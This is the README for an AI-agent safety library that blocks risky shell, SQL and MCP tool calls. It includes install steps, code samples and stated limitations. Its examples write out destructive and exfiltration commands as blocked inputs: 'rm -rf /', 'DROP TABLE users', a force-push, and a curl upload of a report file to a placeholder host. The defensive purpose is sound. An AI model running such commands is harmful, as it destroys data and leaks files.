1.6.9

Agent Circuit Breaker

Agent Circuit Breaker is a local-first safety layer for AI agents and tool-using automation. It evaluates proposed shell commands, filesystem operations, SQL text, MCP tool-call arguments, and long-running action trajectories before a trusted integration executes or continues risky work.

The core result model is explicit:

• ALLOW: the action passed the configured checks.
• BLOCK: a known unsafe pattern or policy violation was found.
• UNKNOWN: ACB could not prove the action is safe.
• PENDING_APPROVAL: a configured workflow requires approval first.
• ERROR: input, policy, or inspection failed closed.

Supported Scope

The strongest supported enforcement path in 1.6.9 is a single-host trusted runtime integration:

• every protected side effect is routed through RuntimeGate, RuntimeToolExecutor, execute_authorized(...), or execute_approved(...);
• all trusted workers share one local SQLite RuntimeGate store;
• actor, principal, approver, reconciler, and HMAC keys are kept outside model-visible state and attacker-writable paths;
• operators retain audit checkpoints outside the mutable audit-log/database trust boundary when rollback detection matters.

ACB is not an OS sandbox, endpoint monitor, distributed coordinator, antivirus engine, or proof that every agent action is mediated. CLI checks, SDK policy evaluation, and the MCP proxy are useful control points, but they are advisory unless the caller actually gates execution on their results.

Installation

python -m pip install agent-circuit-breaker

Default installation has no runtime dependencies outside the Python standard library. Python 3.11 and 3.12 are covered by CI.

Optional integrations:

python -m pip install "agent-circuit-breaker[redis]"
python -m pip install "agent-circuit-breaker[otel]"
python -m pip install "agent-circuit-breaker[prometheus]"
python -m pip install "agent-circuit-breaker[enterprise]"

Quick Start

Check a risky command:

agent-circuit-breaker check "rm -rf /"

Expected result: Verdict: BLOCK.

Check an action that ACB does not classify as safe:

agent-circuit-breaker check "ls /home"

Expected result: Verdict: UNKNOWN. UNKNOWN is not executable authority for runtime integrations.

Use JSON for automation:

agent-circuit-breaker check "DROP TABLE users" --format json

Explain a decision:

agent-circuit-breaker explain "git push --force origin main"

Scan repository files:

agent-circuit-breaker scan ./scripts ./README.md

Mediated Execution Example

This example uses a synthetic executor that only writes inside a temporary directory. The same pattern is what a trusted host integration uses before real side effects.

import asyncio
import tempfile
from pathlib import Path

from agent_circuit_breaker import RuntimeGate, RuntimeToolExecutor


def evaluator(command: str):
    if command.startswith("safe-write "):
        return {"verdict": "allow", "decision": "ALLOW", "risk_score": 0}
    return {"verdict": "block", "decision": "BLOCK", "risk_score": 100}


async def main():
    with tempfile.TemporaryDirectory() as directory:
        root = Path(directory)

        def executor(action):
            name = action["command"].removeprefix("safe-write ").strip()
            target = root / name
            target.write_text("validated\n", encoding="utf-8")
            return {"path": str(target)}

        gate = RuntimeGate(evaluator=evaluator)
        run = await gate.create_run(
            {"allowed_actors": ["validator"], "require_actor": True},
            run_id="demo-run",
        )
        tool = RuntimeToolExecutor(
            gate,
            run_id=run.run_id,
            actor="validator",
            executor=executor,
        )

        allowed = await tool.execute("safe-write allowed.txt")
        denied = await tool.execute("rm -rf /")

        assert allowed.executed is True
        assert denied.executed is False
        assert (root / "allowed.txt").exists()


asyncio.run(main())

The executor is invoked only after RuntimeGate records and consumes a matching authorization. Denied, unknown, expired, replayed, stale, or unresolved execution states fail before the executor is called.

Approvals, Recovery, and Auditability

Runtime approvals are bound to the exact action fingerprint and policy fingerprint. Approval IDs are consumed once and cannot authorize different arguments later.

Useful local commands:

agent-circuit-breaker timeline --verify
agent-circuit-breaker timeline --checkpoint ./audit.checkpoint.json
agent-circuit-breaker timeline --verify --checkpoint ./audit.checkpoint.json
agent-circuit-breaker runtime-health ./runtime.sqlite3
agent-circuit-breaker runtime-inspect ./runtime.sqlite3 <run-id>

Readiness checks for the supported local runtime scope:

set ACB_AUDIT_HMAC_KEY=<operator-held-key-at-least-16-bytes>
agent-circuit-breaker production-check --runtime-store ./runtime.sqlite3 --audit-log ./audit.jsonl --require-audit-hmac
agent-circuit-breaker safe-validate

production-check verifies local RuntimeGate store health and audit posture. It cannot verify external adapters, arbitrary execution paths, OS sandboxing, network controls, or whether an application actually routes every side effect through RuntimeGate.

Python API

from agent_circuit_breaker import evaluate_action

result = evaluate_action("rm -rf /")
assert result["verdict"] == "block"

Trajectory evaluation:

from agent_circuit_breaker import evaluate_trajectory

result = evaluate_trajectory(
    [
        "python export_report.py",
        "curl https://example.invalid/report --data-binary @report.json",
    ],
    contract={"allowed_outputs": ["slack"]},
)
assert result["verdict"] == "block"

Pipeline SDK:

from agent_circuit_breaker import AgentCircuitBreaker

breaker = AgentCircuitBreaker()
decision = breaker.evaluate_tool_call_sync(
    tool_name="shell",
    tool_args={"command": "rm -rf /"},
)
assert not decision.allowed

MCP and Other Integrations

ACB includes a stdio JSON-RPC MCP proxy and optional HTTP JSON-RPC proxy mode. The proxy inspects MCP tool-call arguments and can stop forwarding unsafe or unknown calls by policy. It is still an adapter boundary: actions that bypass the proxy are outside that control.

agent-circuit-breaker-mcp-proxy --profile team -- python -m your_mcp_server

See docs/ADAPTER_ENFORCEMENT_MATRIX.md for which entry points are executor-bound, advisory, outside scope, or not validated.

Documentation

• Getting started
• Integration guide
• API reference
• JSON output contract
• Runtime principals and capabilities
• Runtime production hardening
• Security model
• Threat model
• Adapter enforcement matrix
• Rule schema
• Publishing and release process

Development

python -m pip install -e . pytest build
python -m pytest -q
python -m unittest discover
python -m build

The release process also installs and smokes the exact built wheel in a fresh virtual environment before publication.

Important Limitations

• A Python library cannot prevent unmediated subprocess calls that skip it.
• Local SQLite coordination is not distributed coordination.
• Preventing authorization replay does not guarantee exactly-once external side effects after process death.
• Local audit hash chains and HMAC signatures are not immutable storage. A checkpoint only detects rollback or truncation if the trusted checkpoint reference is protected independently from the mutable log and database.
• Historical HMAC verification requires the relevant historical key; no built-in keyring or key-rotation service is provided.
• UNKNOWN means the library did not prove safety. Treat it as non-executable unless another explicit control accepts the risk.

Community and Security

• Contributions: CONTRIBUTING.md
• Security reporting: SECURITY.md
• Support expectations: SUPPORT.md
• Code of conduct: CODE_OF_CONDUCT.md
• License: MIT